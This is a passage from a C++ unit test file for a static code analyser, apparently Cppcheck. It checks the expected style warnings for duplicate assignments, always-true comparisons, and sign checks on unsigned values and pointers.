[duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" const int x = 0;\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(const int * p, const int * q) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = 0;\\n\"\n \" int j = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = -1;\\n\"\n \" int j = -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int);\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"int g();\\n\"\n \"void test() {\\n\"\n \" int i = f() || f();\\n\"\n \" int j = f() && f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo();\\n\"\n \" Foo j = Foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo{};\\n\"\n \" Foo j = Foo{};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo { int f() const; float g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f(); int g(); };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = ++x;\\n\"\n \" int j = ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x++;\\n\"\n \" int j = x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = --x;\\n\"\n \" int j = --x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x--;\\n\"\n \" int j = x--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x + 1;\\n\"\n \" int j = 1 + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpressionUnique() {\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x, int i, int j) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test(const int * p) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g(int) const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionAssign() {\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" i = j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" j = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == j) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'i == j' is always true because 'i' and 'j' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:6:11]: (style) The comparison 'i == a.x' is always true because 'i' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" if (j == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'j == a.x' is always true because 'j' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // Issue #8612\n check(\"struct P\\n\"\n \"{\\n\"\n \" void func();\\n\"\n \" bool operator==(const P&) const;\\n\"\n \"};\\n\"\n \"struct X\\n\"\n \"{\\n\"\n \" P first;\\n\"\n \" P second;\\n\"\n \"};\\n\"\n \"bool bar();\\n\"\n \"void baz(const P&);\\n\"\n \"void foo(const X& x)\\n\"\n \"{\\n\"\n \" P current = x.first;\\n\"\n \" P previous = x.first;\\n\"\n \" while (true)\\n\"\n \" {\\n\"\n \" baz(current);\\n\"\n \" if (bar() && previous == current)\\n\"\n \" {\\n\"\n \" current.func();\\n\"\n \" }\\n\"\n \" previous = current;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:16:7] -> [test.cpp:15:7]: (style, inconclusive) Same expression used in consecutive assignments of 'current' and 'previous'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionCrash() {\n // Issue #8624\n check(\"struct X {\\n\"\n \" X();\\n\"\n \" int f() const;\\n\"\n \"};\\n\"\n \"void run() {\\n\"\n \" X x;\\n\"\n \" int a = x.f();\\n\"\n \" int b = x.f();\\n\"\n \" (void)a;\\n\"\n \" (void)b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:13] -> [test.cpp:7:13]: (style, inconclusive) Same expression used in consecutive assignments of 'a' and 'b'. [duplicateAssignExpression]\\n\", errout_str());\n\n // Issue #8712\n check(\"void f() {\\n\"\n \" unsigned char d;\\n\"\n \" d = d % 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"T f() {\\n\"\n \" T x = T();\\n\"\n \"}\\n\"\n \"int &a = f();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8713\n check(\"class A {\\n\"\n \" int64_t B = 32768;\\n\"\n \" P m = MakeP(B);\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" uint32_t a = 42;\\n\"\n \" uint32_t b = uint32_t(A ::B / 1024);\\n\"\n \" int32_t c = int32_t(a / b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8709\n check(\"a b;\\n\"\n \"void c() {\\n\"\n \" switch (d) { case b:; }\\n\"\n \" double e(b);\\n\"\n \" if(e <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10718\n // Should probably not be inconclusive\n check(\"struct a {\\n\"\n \" int b() const;\\n\"\n \" auto c() -> decltype(0) {\\n\"\n \" a d;\\n\"\n \" int e = d.b(), f = d.b();\\n\"\n \" return e + f;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:20] -> [test.cpp:5:9]: (style, inconclusive) Same expression used in consecutive assignments of 'e' and 'f'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void multiConditionSameExpression() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if ((val > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:12]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;n\"\n \" val = 1;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2] -> [test.cpp:3]: (style) The comparison '*p < 0' is always false.\\n\"\n \"[test.cpp:2] -> [test.cpp:4]: (style) The comparison '*p > 0' is always false.\\n\",\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val > 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val < 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfUnsignedVariable() {\n check(\"void foo() {\\n\"\n \" for(unsigned char i = 10; i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(bool b) {\\n\"\n \" for(unsigned int i = 10; b || i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:35]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x < 0u) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n check(\"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (b)\\n\"\n \" y = 1;\\n\"\n \" if (x < y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0UL > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x, unsigned y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Unsigned expression 'x-y' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0ull) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0ll <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3233 - FP when template is used (template parameter is numeric constant)\n {\n const char code[] = \"template void foo(unsigned int x) {\\n\"\n \" if (x <= n);\\n\"\n \"}\\n\"\n \"foo<0>();\";\n check(code, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(code, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"template void foo(unsigned int x) {\\n\"\n \"if (x <= 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n // #8836\n check(\"uint32_t value = 0xFUL;\\n\"\n \"void f() {\\n\"\n \" if (value < 0u)\\n\"\n \" {\\n\"\n \" value = 0u;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Checking if unsigned expression 'value' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #9040\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using BOOL = unsigned;\\n\"\n \"int i;\\n\"\n \"bool f() {\\n\"\n \" return i >= 0;\\n\"\n \"}\\n\", &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10612\n check(\"void f(void) {\\n\"\n \" const uint32_t x = 0;\\n\"\n \" constexpr const auto y = 0xFFFFU;\\n\"\n \" if (y < x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Checking if unsigned expression 'y' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #12387\n check(\"template\\n\"\n \"void f(T t) {\\n\"\n \" if constexpr (std::numeric_limits::is_signed) {\\n\"\n \" if (t < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13734\n check(\"void f() {\\n\"\n \" uint8_t a[N + 1];\\n\"\n \" for (unsigned p = 0; p < (sizeof(a) / sizeof((a)[0])); ++p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfPointer() {\n check(\"void foo(const int* x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x >= y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n }\n check(\"void foo(const int* x) {\\n\"\n \" if (*x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" unsigned y = 0u;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(const int* x) {\\n\"\n \" if (*x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if (first.ptr >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if((first.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(first.ptr - second.ptr < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n 